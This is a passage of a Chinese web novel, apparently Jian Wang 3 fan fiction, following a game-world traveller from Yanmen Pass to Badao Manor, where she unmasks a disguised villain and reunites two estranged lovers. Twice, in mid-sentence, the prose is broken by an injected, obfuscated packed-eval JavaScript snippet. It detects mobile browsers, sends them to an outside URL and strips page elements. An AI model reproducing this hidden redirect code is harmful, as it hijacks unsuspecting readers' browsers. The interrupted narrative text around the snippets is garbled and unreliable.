照月想了想,又补充道:“除此之外,与那卢卫都一样,军中必有长安派来的监军,日后若疑心生了芽,恐还会有其他密探接踵而至,我知各位将军坦荡无愧,但千万小心应对。且苍云已与狼牙结仇,安禄山、史思明必不会轻易揭过此事,安贼手下如那独孤问俗、葛尔东赞者恐怕只多不少,还要小心他们派人行刺将军……” 她心里其实清楚,这些事风夜北他们不可能想不到,可话到嘴边却越来越多。 “粮饷之事或可于休战之时着士兵开垦荒地,不求自给自足,只求能解燃眉之急;至于玄甲,我心中亦有成算;监军只要不妨碍军务,自是好吃好喝招待;刺客之流,我等对各自武功还算自信,也会小心提防……照月可还有其他嘱咐?” 照月愣愣地摇摇头。 风夜北笑道:“那便轮到我们问姑娘问题了——这雁门关的雪景月色,可还算壮美?” “自然。” “姑娘此行,可觉圆满?” “虽有遗憾,但……受益匪浅。” “那……姑娘可愿留在我苍云军中?风某愿让出军师之位。” 照月愣住了。 风夜北此言似是玩笑话,可她从那双潋滟凤目中窥得了十分认真。 苍云很好,她喜欢北地皑皑的雪,自由的风,也喜欢这里的人,无论屏幕内外,曾经有一段时间,她很喜欢在苍云映雪湖挂机…… 可是,她的确有更想去的地方,暂时不能为一抔雪几个人停下脚步。 于是她只能拒绝这样的挽留:“照月此次游历已耗时良久,也该回去向师傅述说此行所见所感了……多谢军师好意,然相逢千里终须一别……” 风夜北眸中含笑,似乎对这个答案并不惊讶,只有些许遗憾。 他举起酒杯,洒脱道:“那便由我等再敬姑娘一杯——” “敬,相逢有缘。” “敬,行路不孤。” 千里江山,共此明月,万里同风,何须离愁? “希望下一次,下下次,能有机会看看雁门关的春与夏吧。” 9. 欲求玄甲向河朔 “干货、风干的香蕉、甜甜的糖葫芦、菜叶子、厕所的产物、煮烂的盘龙饺子……” 照月翻着先前解锁的背包和仓库,越看越无语。 她无奈扶额:“就知道不能对自己的运气抱有任何期待。” 头上的肥啾忽然欢呼一声:“咦?有玄晶!” 照月看着仓库里闪闪发光的沉沙玄晶:“可这东西现在没有任何用处,还不如……咦?竟然解锁了这个!这些普通麦子可以作为粮种种下去吗?” 她从背包里拿了一根麦穗出来,从外表上看,和她在现实里见过的小麦差别不算太大。 “干脆试试这些小麦能不能发芽吧,要是可以,就把它们留在苍云。” 照月用湿布巾和小麦种做了次实验——谢天谢地,没过多久就有嫩芽冒了出来,总算抽到些能派上些用场的东西。 “还有这些鱼苗……也不知道能不能在映雪湖里活下来,姑且试一试吧。” 除了草鱼鱼苗,她还惊讶地发现银霜口名望任务的小霜鱼取出来竟也是活的,便一起投入了映雪湖。 剩下或许可以“变废为宝”的,或许就是那个东西了——重置版A了以后到无界回游,中间隔了很多年,她都不记得自己仓库里还有几百个太原公共任务需要的盔甲部件了,这东西从狼牙兵身上来,留给苍云无论他们是再铸盔甲还是用于之后伪装,都比在她手中有用。 麦种和盔甲被她悄悄藏进了一个山洞,她还画了张粗糙的藏宝图,留在薛坚和苏小折常去的地方,希望能借这些孩子之手发现这些“宝藏”。 接下来,便到了正式告别的时候。 月夜畅聊那晚,他们曾说起苍云玄甲,风夜北当时说他心中已有成算,原是他妹妹秋叶青为李复送信而来,言说苍云玄甲的来历。 李复与秋叶青均是剑三玩家在出生地图稻香村便结识的人物,照月自然想亲眼见到他们,谁料这一次有缘无分,竟然错过了。 她隐约记得苍云门派任务当中也有这段剧情,只是那时的苍云已因安禄山叛乱伤亡惨重,方从复仇之火中重生,如今的苍云则保存了大部分力量。 不过,这封信还是送来了……想必李复与她有着同样的考量,尽管初衷或许有所不同。 风夜北的成算果然是让他的红颜知己任青萍带着图纸往打造玄甲的霸刀山庄走一趟,因着任青萍乃是霸刀山庄柳五爷的义女。 照月便顺势开口:“那我便与任姐姐同行吧,只是不知道我师兄是否还在霸刀。” 任青萍欣然道:“路上有照月作伴,自是甚好。” 燕忘情紧紧握着手中轻眉刀,忽道:“我也走一趟吧……上次去霸刀山庄拜会,已经是十多年前的事了。也合该将狼牙之事告知霸刀,好让他们早做提防。” ** 马车向南离了雁门关地界,照月忍不住回头望了眼巍峨的长城,塔楼上似乎仍旧能看见那几道熟悉的身影。 不是渭城西去客,休唱阳关……还会再见的。* 脑海中忽然响起一道熟悉的电子音:“苍云神行点已解锁,世界地图已解锁,地图探索奖励:苍云声望已解锁,知交系统已解锁……请侠士继续努力,保持探索的积极性。” 照月不免有些惊喜:“神行?这可是个好东西,不过使用CD是多少啊?除滞散能用吗?” “请侠士自行探索。” “……声望系统,不知道和称号的作用有什么差别,但是知交……” 照月记得知交是声望奖励的一部分,声望钦佩会解锁一个知交,可以被召请到玩家身边,为玩家增加少量属性……等等,召请? 她不由心潮澎湃地打开了知交系统,却看见和游戏里截然不同的一幕——怎么薛帅、燕帅、风夜北……包括李无衣都变成她的知交了? 除了苍云,甚至还多了一个奚族的分类……李延宠和宜芳公主都在里面! 知交人物界面上只有他们各自的肖像和简介,下方是两个按钮,一个是信封,另一个赫然是“召请”字样。 “系统?系统?这是怎么回事?我真的可以把他们直接召请到自己身边?” “请侠士自行探索。” “怎么只会这一句话?该不会是自动回复吧……”照月撇撇嘴,目光又落到那个按钮上。 别人是召唤玩家搞第四天灾,她倒是反过来了。 要不然……试一试? 这里离雁门关不远,召请成功也方便他们赶回苍云,只是不知道该怎么解释…… 心中的好奇还是压倒了一切,照月的手指蠢蠢欲动,最后直直戳在了“召请”键上。 被她选中的幸运儿是李无衣,只因这位李小将军大约是知交列表里目前最“人微言轻”的一个……咳,门派新秀嘛,现在还不到他们大展宏图的时候,君不见河阳之战另一个跟玩家并肩作战的新秀薛坚这时候还是个十一岁的孩子呢。 然而,红袍银甲的小将军并没有一脸警惕地出现在马车里。 照月不死心,又连着戳了好几次,却都无事发生。 “什么啊?又是系统bug?还是说时间、地点不对?”照月皱着眉趴到桌子上,“算了……如果真能随时随地直接召唤知交到自己身边,未免太逆天了……” 她又不抱信心地戳了戳一旁的信封标志,这次反倒成功了——一张信纸凭空出现在照月面前的桌案上,似乎在等待她提笔。 “咦?”背包里解锁的物品中刚好有墨,只是没有毛笔,照月便拔下头上的发簪蘸了些墨,在那张看似平平无奇的信纸上划了两下,“唔……似乎就是可以正常书写的纸张。” 她沉思片刻,干脆把之前留的藏宝图在信纸上重新画了出来,在右下角画了个月亮的简笔画,又将信纸卷起,一个提示框跳到了她眼前。 “是否寄信给李无衣?是。否。” 照月犹豫两秒,直接点了“是”,刚刚还被她攥在手里的信竟然消失不见了! “嘶,也不知道这信是以什么形式寄过去……这信封似乎只有寄信功能,没有收件箱,难道只能单方面传递消息吗?” “是不是哪里不舒服?”任青萍掀开车帘钻进来,“我看你脸色似乎不太好。” 照月回顾神,立即摇摇头:“任姐姐,我没事……初次来河朔,照月有个不情之请,姐姐能和我讲一讲霸刀山庄的事吗?” 任青萍笑了笑,在她身旁坐下:“你若是有兴趣,自然可以。霸刀柳家立足河朔三百余年之久,从南北朝、前朝再到大唐……” 照月听着她清亮的声音,不由在心里叹了口气,想到游戏里和九天、柳五爷、霸刀藏剑宿怨有关的剧情,她的拳头就硬了。 可惜她来得太晚,阻止不了这群人奇怪脑回路酿成的悲剧。 她不由在心里对肥啾感叹:“说真的,自从知道霸刀和藏剑之间恩恩怨怨的真相以后,很多时候我真的很想抛弃尊老爱幼的美德……” “叮!触发主线任务——” “等等!”照月心里忽然生出一种不祥的预感,但还是晚了。 “触发主线任务:战胜柳风骨。” 照月眼前一黑,缓缓捂住胸口:“你们派发主线任务都是这么唯心的吗……我只是想一想啊……而且我现在是相知!拿头打败柳五爷吗?” 肥啾小心翼翼地拿一双豆豆眼瞅着她,似乎有些愧疚:“要、要不……不做了?” 照月问:“不做主线任务会有什么惩罚吗?” 肥啾回答:“其、其实只是会缺少一些奖励……” “为什么之前不告诉我?” “侠士没问……而、而且,就算我说没有惩罚,侠士会眼睁睁看着苍云军走向原本的结局吗?” 自然不会,照月心里很清楚,甚至哪怕她孑然一身穿越而来,根本没有什么系统金手指,发现自己穿越到雁门关之役前的苍云,也会想方设法提醒他们自救。 “但是霸刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345217|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个任务和苍云是不一样的。”她叹了口气,“既然没有惩罚,那就随缘吧……以我现在的样子,要完成任务,估计就只能从‘战胜’二字上做文章了。” ** 车马一路向南到了太原,修整一夜后又向东北方行进,终于抵达太行山下的无极镇。 早先收到任青萍书信的柳静海已安排弟子在山脚下等她们,长孙家也派人来迎燕忘情。 “那我们便暂且分开吧。”燕忘情道,又问照月,“照月打算去何处?” 照月想了想,道:“晚辈登门,理当前去拜见庄主,只担心三庄主事务繁忙……” “静海已知晓此事。”同弟子寒暄完的任青萍走过来,“因着惊涛大哥……有事不在,你那师兄本打算返回长歌门,但恰好收到了我们的信,静海便留他多住些时日,此刻还在山庄之中呢。你们师兄妹一同回去,也好有个照应。” 照月心里其实有些忐忑,毕竟她与那位师兄其实素未谋面,也不知道会不会被戳穿……但眼下也只有先到山庄里再做打算了。 于是她便对燕忘情道:“那我便先随任姐姐往山庄里去吧,燕帅,后会有期。” 她跟着任青萍和引路的霸刀弟子柳月茗往山上走,一边听她们闲谈,一边回忆天宝四年霸刀山庄的剧情。 老实说,因为除了领鸡蛋她便没怎么登过霸刀小号,门派剧情早就记不清了,只记得锻刀千雷还有夕颜阁那几个副本里的剧情,像什么柳四爷暗中勾结狼牙呀,霸刀和藏剑因为上一辈秘而不宣的筹谋导致的惨剧啊…… 可这些要么是已经发生的事,要么就在安史之乱之后,对于天宝四年的霸刀发生了什么,照月倒真是没多少印象,只好多留心霸刀弟子的言谈,试图从中找到线索。 柳月茗正说到:“青萍小姐这次回来可要多住些时日?老庄主心里一直念着小姐,而且小小姐的生辰也快到了……” “至少会留到菲菲生辰之后。”任青萍答道,眼中划过一丝不易察觉的悲伤。 小小姐……菲菲……是叶琦菲!不对,这时候应该还在姓柳……因着河西瀚漠的剧情任务,照月对她也倍感亲切。 这时,任青萍已经换了个话题:“前些时候应当是山庄招募新弟子的日子吧,这次可有招到几个可造之材?” “自然。”柳月茗答道,脸色却晦暗了一瞬,提醒道,“只是这些时日,山庄里也不太平,兰亭斋长孙家、解忧园独孤氏先后遇袭,就连刀谷也……” “什么?”任青萍不由蹙眉,“可查清是何人所为?” 柳月茗点点头:“似是狼牙军勾结高句丽遗民作乱。” “狼牙?想不到那安贼竟也把手伸向了霸刀山庄,恐怕是觊觎山庄所铸神兵宝甲……” “三庄主亦是这般猜测。幸而狼牙军一事被揭发,那安禄山近来便没了动静。”柳月茗想想,又补充道,“也幸好此次新入门的弟子中有一人武艺出众又明察秋毫,及时发现了那些歹人的意图……” 任青萍眉梢微挑:“哦?那弟子姓甚名谁?我倒有些好奇他是个怎样的人物。” 照月同样有些好奇,不出所料,这些事应当是原本霸刀门派任务中的剧情,她也确实记得霸刀山庄和高句丽有仇,理论上说这个新弟子的角色会由玩家担任…… 难不成她要见到穿越之后的第一个“老乡”了? 却听柳月茗笑道:“他啊,他叫赵淮,先前仰慕我们霸刀山庄许久,这次想来拜入门下,一为学刀术,二来也是为找他的妹妹……” 赵淮?不像是玩家会起的名字,而且还有些耳熟…… 赵淮……赵淮……等一下! 照月的太阳穴忽然突突直跳——她想起来了!是月泉淮那个老妖怪! 伪装身份来到霸刀,差点掳走神算多多,还看到了自己的批命:寿元终有时,无物可补天…… 救命!她才刚完成新手任务,就要碰上武力值逆天的终极boss了吗? 10. 忍见孤鸿影茕孑 往鹰扬谷主殿的路上,照月一直在思考月泉淮的事。 她记得月泉淮就是高句丽人,还和霸刀山庄有仇,此番狼牙与高句丽遗民再次作乱,月泉淮竟顶着新晋弟子的假身份成了于山庄有益的大功臣,目的绝对不简单。 可是除了劫走多多为自己算清命盘,霸刀山庄吸引他的还有什么呢? 难道说高句丽和狼牙的合作关系比她以为的还要密切,月泉淮留下是想帮狼牙探得九天武库的秘密? 但这似乎也不是月泉淮的作风…… 直到抵达主殿门外,照月才定了定神,暂时把这些猜测按下去,准备拜见柳静海。 只是,她刚跟随任青萍走进门,就看见柳静海正和一个身着霸刀弟子服的青年说话,而焦点列表里出现的名字也让她的右眼皮狠狠跳了几下。 什么运气?这么快就撞上了! “赵淮,此次击退李令霞,夺回霸刀令,多亏有你。”柳静海面上似有病容,他声音温和,“自入门以来你的所作所为我都看在眼里,先前在柳祠本该带你祭拜先祖,奈何……你且再去柳祠一遭吧,祭拜过先祖,便是我霸刀柳家的正式弟子,此后也该叫你柳淮了。” 照月好险没笑出声,又暗暗在心里为柳静海捏了把汗。 她悄悄瞥了眼那披着霸刀弟子皮的限定版月泉淮,只见青年眉目中似有一丝阴郁,听闻柳静海的吩咐迟疑道:“三庄主,此事……” “青萍回来了?”柳静海忽然对他一抬手,“赵淮,你先退下吧。” 察觉到赵淮的余光扫过来,照月连忙收回落在对方身上的视线,便听任青萍开口:“许久不见了,三哥……原来这就是赵淮吗?一路上听月茗说了不少他入门以来的事迹,果真是英雄出少年。” 英雄出少年,月泉淮今年多少岁来着……咳,不行,忍住! 照月绷着脸,偷偷掐了自己一把。 “这两位是……”赵淮借机正大光明地看过来。 柳静海介绍道:“青萍乃是我的义妹。至于她身旁这位……” 照月对他拱手行礼:“在下照月,此次是随任姐姐来霸刀山庄寻我师兄的。” 她刻意没报上全名,“照月”大概会被解读为“赵月”等类似读音,任青萍与柳静海皆知晓她的身份来历,又都是善于察言观色之人,绝不可能在赵淮面前戳穿她的刻意隐瞒。 果然,柳静海定定看了她两秒,笑道:“此事我已知晓,我邀了你师兄在山庄小住,姑娘若愿意,亦可多留些时日。” 见他们已经开始寒暄,素来“体贴”的赵淮便拱手道:“既然三庄主有客人来访,弟子便先行退下了。” “去吧。” 待赵淮的名字消失在焦点列表,照月才终于松了口气,抬头却见柳静海正若有所思地望着她,与她对视以后含笑拱手:“江姑娘。” “三庄主。”照月犹豫片刻,又道,“庄主不问我方才……” “雁门关这段时日已成是非之地,姑娘和青萍自雁门而来,不愿暴露身份自是可以理解。”柳静海笑了笑,体贴道,“你师兄现下应在万客集茶肆,照月姑娘往门外去寻我霸刀总管柳禄,他会派弟子引你去万客集寻杨先生。” 照月拱手道谢,知晓他与任青萍多年未见,大概要好好叙旧,只是关于赵淮一事…… 天知道这老妖怪怎的忍辱负重得了霸刀山庄诸人信任,若是真被他知晓更多密事,只怕后患无穷。 但她初次拜会柳静海,即便顶着“傲霜刀”的称号,也不宜交浅言深,倒不如悄悄看一看那月泉淮究竟是何目的,寻找合适时机再做提醒,不过也要尽快了…… 等照月的身影彻底消失在门外,柳静海轻咳两声,对任青萍感叹道:“这位江姑娘,似乎有些不同寻常。” “三哥,你身体……”任青萍关切道。 柳静海扯出一抹笑容,摆摆手道:“无妨,且同我再说说这位照月姑娘吧。” 任青萍眉头微蹙:“我与照月相处时日不长,交情算不得格外深厚,只知她重伤于雁塔之下,被苍云士兵救回,在雁门关一役中,我只见过她用长歌门天音知脉武学救助伤员。然而,单从夜北对她的态度来看,我能察觉到她的本领恐不止于此。” 柳静海叹了口气:“依你之见,她方才的刻意隐瞒,可算一种提醒?” “刻意隐瞒?”任青萍思索片刻,忽地一惊,“三哥,你是说……” “虽然先前诸多风波似已平息,我却仍觉不安。”柳静海摇摇头,“无妨,此事我心中已有成算。青萍,你离家多年,父亲对你甚是想念……” 另一头,照月已经跟随霸刀弟子柳风华的指引上了铁萼梯,刚到万客集茶肆,便在人群中看到一个身着长歌校服的青年男子——这便是杨露轩了。 自穿越以后,这还是她见到的第一个同门,只是不知对方是否认她这个异世而来的师妹。 她不由有些忐忑,在心里问系统:“角色的门派设定保真吗?要是那位师兄说他不认识我,还得费好一番力气找借口……要不然还是先不见了?” 不等肥啾开口,不远处便传来一道清爽的男声:“师妹,既是来了,为何在路边踟蹰?” 咦?照月心里一跳。 那人又抱怨道:“大庄主不在,我本想转道北上寻你,却在临行前收到你已南下的消息,倒让我得以在此多喝几壶好酒。只可惜仍是没能看到北地的雪……” 肥啾这时才小声解释:“已根据侠士过往经历为同门派NPC进行相关记忆补充,请侠士放心。” 照月恍然:“也就是说,相当于我亲手写好了自己的人物小传?” “是的,毕竟同门派NPC会与侠士长时间相处,这也相当于一种新手保护。” “那我就放心了。”照月在脑海中说罢,便朝茶肆中的杨露轩走去,自然接话,“早知如此,我便该将北地的雪掬来一抔,给师兄作见面礼。” “那怎能一样?”杨露轩摇摇头,含笑将她上下打量一番,“可有受伤?” “安然无恙。” 杨露轩点点头,又皱眉道:“你虽于御敌之术空有内力,然天音知脉学得极好,只是此番游历,你当知晓只凭疗愈一道终究所行有限,回去之后也该好好练习相知剑意莫问曲了。” 照月嘴角忍不住抽了抽,怎么回事,该说不愧是我们长歌弟子吗?上来就劝学,让她幻视玩游戏时被贺闲追着练琴的日子了…… 杨露轩似乎没看见她的反应,只问:“师妹啊,我在此地逗留已久,你却是初来乍到,然而年关将近,你是想在这太行山多留几日,还是早日回门派呢?” 照月自是想留下,毕竟月泉淮可还在这里呢。 她道:“听说霸刀山庄近来也不太平,师兄应以听说雁门关与狼牙军一事,此地亦有狼牙作祟,我想多留些时日,以免生变。” “这我就放心了!”杨露轩拊掌笑道。 诶?照月懵了一瞬,她还以为师兄想早些回去了呢。 “我只担心你年纪尚小,初次出门游历,恐对师叔颇为想念,欲早日归家呢,不料你我一拍即合……”杨露轩笑道,又凑近照月神秘兮兮地说,“你猜的不错,霸刀山庄近来风起云涌,随不少变故均已被平息,但我却知道还有人在暗中窥伺……” 照月有些吃惊,她没想到这位初次见面的师兄如此厉害,竟已看出霸刀中人异样,却听他低声道:“我先前在观景台见着一打扮奇怪的神秘女子,口中喃喃不止,甚是可疑……不若我师兄妹二人悄悄探查一番,也好报霸刀山庄倾情款待之意。” “那是自然——等一下!女子?”好像不是月泉淮。 “不错,你知我的耳朵向来好使,呢喃之语音量很低,我却能听得清楚,那声音绝对出自女子之口。而那人黑袍裹身,从头到尾遮得严严实实,行事颇为鬼祟……” 照月愣了愣,她好像知道那是谁了……游戏时间的很多很多年以后,她还参加过那人同柳静海的婚礼呢。 都怪那不当人的唐傲天,害唐书雁成了塔纳,让她和柳静海白白蹉跎十数年,还给柳惊涛跟唐小婉乱点鸳鸯谱,结果唐小婉和叶凡私奔,霸刀藏剑仇上加仇…… 不过,若是唐书雁此刻身在霸刀,或许她找到提醒柳静海的最佳方式了。 “这个红娘……我当定了!”照月喃喃自语,拉着杨露轩站起身。 杨露轩不解:“什么红娘?诶?师妹,你要去哪儿?我酒还没喝完呢!” …… 自观景台俯瞰霸刀,天地空阔,山河壮美。 然而少有人知,唐书雁的目光其实更多只落在鹰扬谷主殿上。 她知道,那个人就在殿中。 此前唐门擦肩而过,他奔赴千山万水而来,她却不愿以这幅样貌见他。 世上已无唐书雁……静海恐怕也已知晓塔纳之事了吧…… 忽然间只听铮的一声,唐书雁黑袍翻飞,青紫手臂从中探出,轻易夹住射向她的竹筒。 “谁?”她往竹筒射来的方向追了两步,却没有发现袭击者的身影。 兜帽下眉头微蹙,唐书雁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345218|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将竹筒上的塞子拔下,从里面摸出一封信,上面写着: “皆言好事多磨难,忍见孤鸿影茕孑?寄语情人少踟蹰,鹊桥已成渡银河。” 唐书雁心中先是一恸,又是一惊,扬声道:“来者何人?竟知道这些陈年旧事?” 回答她的又是一只竹筒。 “鸿雁于飞,肃肃其羽。之子于征,劬劳于野。千里奔波,未得相见。相思成疾,久病不起。内忧外患,豺狼环伺。劫生海天,孤鸿归否?” 下面还有行小字:“莫道人尸有别,只见义重情深。何以蹉跎苦?何以难相见?尸毒犹可解,光阴不复还。” 唐书雁的手颤抖起来,呢喃道:“相思成疾……劫生海天……尸毒……犹可解……” 神思恍惚之时,最后一根竹筒已至。 “隐瞒身份情非得已,只愿有情人终成眷属,霸刀山庄避此劫难。尸毒欲解往北天,兰亭合该做鹊桥……鸿雁当归。” 唐书雁抽出竹筒中的另一封信,为防有诈,干脆也拆开来看,上面却只有简简单单四个字——“赵淮有异”。 她将那几封信收起来,紧紧抿住了唇,片刻后,观景台上已无飘渺孤鸿影。 待她的身影彻底消失,杨露轩才从黑暗里先生,轻抚着自己的胸膛:“好险,幸而我这隐匿功夫得了韩先生几分真传,否则定要被这位小姐发现……也不知师妹葫芦里卖的什么药,此番游历也不曾经过华山啊?” 照月忙着做红娘,眼下没时间替一头雾水的“壮丁”师兄解惑,倒是跑去长孙氏居住的兰亭斋寻了燕忘情帮忙。 “你是说,霸刀山庄中仍有歹人潜藏?” 照月点头:“我初次拜会霸刀,又是晚辈,恐怕不好贸然与三庄主言明此事,只得将此托付给可信又有威望之人。” “既是照月所托,我便厚颜当这个‘可信又有威望之人’吧。”燕忘情道,“伯父已答应送兵器给苍云,但玄甲之事还当与庄主亲自商议。” “燕帅不问我由何察觉异样吗?”照月不由好奇道。 燕忘情笑着摇摇头:“以你此前相助我苍云之举,便知你有见微知著之能,我并不觉得惊讶。况且你所行之事皆乃侠义之举,我并不担心。” 这声望钦佩的影响未免太让人动容。 却听燕忘情又道:“不过,我倒是确有一问。” 照月回道:“燕帅请讲。” “为何将见面的地点定在这兰亭斋呢?我本想亲去鹰扬谷拜访柳三庄主……” “一则此地不久前刚肃清隐患,相对而言比较安全;二则乃是为一桩私事,要请燕帅帮忙悄悄将这封信交与长孙世家那位‘小先生’。” “照月说的可是我那二弟长孙笑?” “不错。”照月点点头,将一封信递给燕忘情,“当中只是一些失传的医术线索……只是,此事还请燕帅替我保密。” 原本柳静海就会托长孙笑帮忙寻找尸人恢复之法,后来也随小月等北天药宗中人成功治愈塔纳,这当中功劳最大的自然是药宗掌门陈月,可是小月现在才八岁,刚离开稻香村,应当还在万花谷随紫晴学医,药宗其他人更是远在东北…… 照月知道单凭长孙笑一人恐怕没有能力提前治愈唐书雁,但还是想把雷域大泽藏有治疗塔纳线索的事说出来,至少让这对历经磨难的痴情人早些看到希望。 希望……有时候可是比任何良药都有效的神药。 是夜,柳静海受燕忘情之约于兰亭斋桥上商议苍云玄甲打造与所需兵器之事。 此事因双方默契,进展颇为顺利,而后燕忘情回房休息,长孙笑持一手书而来,与柳静海谈及尸人恢复之事已有线索,二人交谈许久,长孙笑亦归去。 柳静海独立桥头,纵身披貂裘,仍难掩久病之体。 眼见这人恐怕也收到了那竹筒传书,若她不现身,恐怕会痴痴在这冷风中枯等一夜。 本打算只悄无声息地将“赵淮有异”的消息告知柳静海,顺便暗中看他一眼的唐书雁终究还是从藏匿的树丛中现出身影。 “你这又是何苦?” “书雁,真的是你!我……” “别过来!静海,别过来……有人托我将这封信交给你……” “你仍是要走?书雁,书雁,不要再逃了……所有的一切我与你一同承担。阿笑说黑山林海的雷域大泽之中很可能有治愈塔纳的线索,我们马上去找,好不好?” 唐书雁眸中有泪。 她一早便知,若再见到他,便走不了了…… 走不了了。 11.怀璧其罪当何解 “我听说,你还没有去柳祠祭祀先祖?”柳静海坐在主殿中,俯视着下方的赵淮,关切地问,“可是有什么顾虑?” “承蒙三庄主厚爱,只是我妹妹尚未找到,若就此更名,恐怕相认之时会有难处……庄主见谅。”赵淮垂着头,俊俏面庞被阴影笼罩,辨不分明。 柳静海轻叹:“也罢,倒是我思虑不周了。你在山庄里这些时日,可有找到你妹妹的线索?若有难处,尽可向同门求助,也可告知于我。” 赵淮只答:“弟子明白。” 柳静海站起身,笑道:“虽说你未曾祭拜我柳家先祖,可前些时日的所作所为足以证明你的忠义勇武,不过,你也知晓,除却刀法,我霸刀弟子亦会修习铸造冶炼之术。庄中冶铸之术起源于冰炎谷,这些时日,你便先随总管柳焰修习吧,也好亲手为自己铸一把傲霜刀。” 赵淮自是没有异议,柳静海又与他闲谈几句,便让他退下了。 等赵淮离去,一道黑色身影从梁上跃下,正是用了唐门功夫隐匿身形的唐书雁。 “静海,既知此人有异,为何还纵容他去往刀谷重地?” “我似乎还未来得及告诉你,书雁,这些时日庄中一直不太平,长孙家与独孤家先后遭遇绳池剑宗刺客,落枫谷野兽又忽然狂性大发,后经查证乃是狼牙军所为,那些高句丽遗民与狼牙勾结,前者或是为复仇而来,后者……只怕所图更大。” 柳静海叹了口气,又道:“两者同时作乱,又加上这个来历不明的赵淮……我猜测赵淮必与这双方有关,而他单独行动,想来实力非凡,也有可能怀有他自己的目的。” “刀谷中日前也查出有狼牙奸细,而后查到了我四叔心腹的头上,可我担心……事情没有这么简单。” 唐书雁若有所思:“所以你将那赵淮安排进刀谷,乃是以他为饵——不,应当说,赵淮与刀谷幕后主使互为鱼饵。” “你向来聪慧过人。”柳静海笑道,“此为其一,其二则是我对赵淮私人目的的猜测。” “他自拜入我霸刀便声称与亲妹失散,听闻她可能被庄中人家收养,故来打探。”柳静海深吸了一口气,肃容道,“自从知晓他或许别有用心,我派心腹悄悄查探了他打探亲妹行踪时的说辞——他要找一个姓赵的十二三岁的小姑娘。” 唐书雁已听他说起过家中还有哪些亲戚,登时反应过来,震惊道:“庄中这等年纪的姑娘只有菲菲和多多,菲菲必然不是他要找的人,难道是——” “多多的身世不太寻常,书雁,原谅我暂时不能告诉你……” “不要紧,既有可能被歹人盯上,眼下合该立即派人去将她们保护起来。” 柳静海握住她的手:“我已命精锐弟子暗中看顾她们,青萍亦会时时守在她们身边……定会平安无事的。” 只不过,他还有一事不明——那位借书雁之手将赵淮之事告诉他的神秘“红娘”,是与赵淮有旧,还是……那人知道的远比他想象的还多呢? 照月自是不知他的怀疑。这日,她随杨露轩在霸刀山庄四处闲逛,傍晚回住处时却收到任青萍的邀约,说是琦菲和多多听说有个十一二岁的少女随她一道来的霸刀,便想多结识一个年龄相仿的玩伴,于是邀照月去琅玉庭院小住几日——这事已得到柳五爷和柳静海的准允。 她望着信犹豫不决,一旁的杨露轩倒很是积极:“既是主人家相约,何必犹豫?虽然柳五爷如今……但作为晚辈,还是应当去拜见一番。” 照月腹诽,她只怕见柳风骨时露出一丝恼意,被人瞧出异样。 她挑眉笑道:“师兄怕是想早些甩掉我,好再去万客集品尝上好的汾酒吧。” 杨露轩被她拆穿却也不恼,只坦诚笑道:“若你再年长几岁,我倒可以带你一道去品酒。” 再想到目前还没有任何进展的系统任务,照月便收下邀约,往琅玉庭院去了。 琅玉庭院依山傍水,幽静宜人,只是照月不免想到夕颜阁悲剧,脸上兴致便显得不太高。 来接她的任青萍见她如此,不由关切道:“照月可是累了?” 照月腼腆一笑,摇摇头:“只是想到要拜见柳风骨前辈,心里有些紧张。” 任青萍温声安抚:“不必担心,义父对待小辈向来和蔼,而且燕帅也在他那儿。” “燕帅也在?”照月有些惊讶,任青萍却只是笑着点点头,没做多余的解释。 她们二人走到柳风骨门外,任青萍忽然转身,无奈道:“菲菲,多多,你们两个什么时候喜欢当人小尾巴了?” 角落的草丛安静片刻,传来一阵窸窸窣窣的响动,紧接着两个小脑袋从里面钻了出来。 “青萍姑姑。”穿着紫色衣服的女孩冲任青萍甜甜一笑,又好奇地望向一旁的照月,“青萍姑姑,这就是那位师承长歌门的照月姑娘吗?” 这时,门内传来柳静海的声音:“请照月姑娘进来说话吧。” 任青萍拉住琦菲:“好了,先让照月姑娘去见义父,她会在这里住上几日,以后你们再一起玩。菲菲,你今天的药喝了吗?” 少女调皮地吐了吐舌头,拉着不知为何似乎在神游的多多转身就跑:“快跑快跑,青萍姑姑又要来抓我喝药!” “啧,这孩子。”任青萍无奈地摇摇头,将照月领进门,又因为实在放心不下两个孩子,便先行离开了。 照月上前几步,神色平静地对着主座上的老人拱手作揖:“晚辈长歌门江照月,拜见柳老庄主。” 柳风骨对她态度的确和蔼,寒暄几句之后,照月本以为自己可以退下,却被柳静海安排在燕忘情旁边入座。 照月与燕忘情对视一眼,得到了一个安抚性的眼神,便听柳静海道:“江姑娘这次没有隐去姓氏,倒是印证了我的猜测。” 他的话只说到这里,照月便也笑而不语,全心全意做个谜语人。 柳静海转向主位的柳风骨,神色变得严肃:“父亲,听完燕帅所言,知晓庄中近来诸事,你仍坚持以前的观念吗?有苍云副统帅与世交亲传弟子在场,或许我们该好好谈一谈。” 等一下,世交亲传弟子?照月呆了呆,脑海里冒出一个表情包——“我吗?” 柳风骨却道:“狼牙之乱已被朝廷镇压,安禄山经此一役,会更加安分守己的。” 柳静海反驳道:“江山易改,本性难移,九龄公与苍云军上下同我都认为安禄山必反,我们应当早做打算。” 柳风骨又言:“即便如此,朝廷已有防备,我们本是江湖人,何苦插手庙堂?我已知晓苍云欲从霸刀买兵器,也并无反对之意,至于那些狼牙军,此番平乱后,大概也不会再前来。” 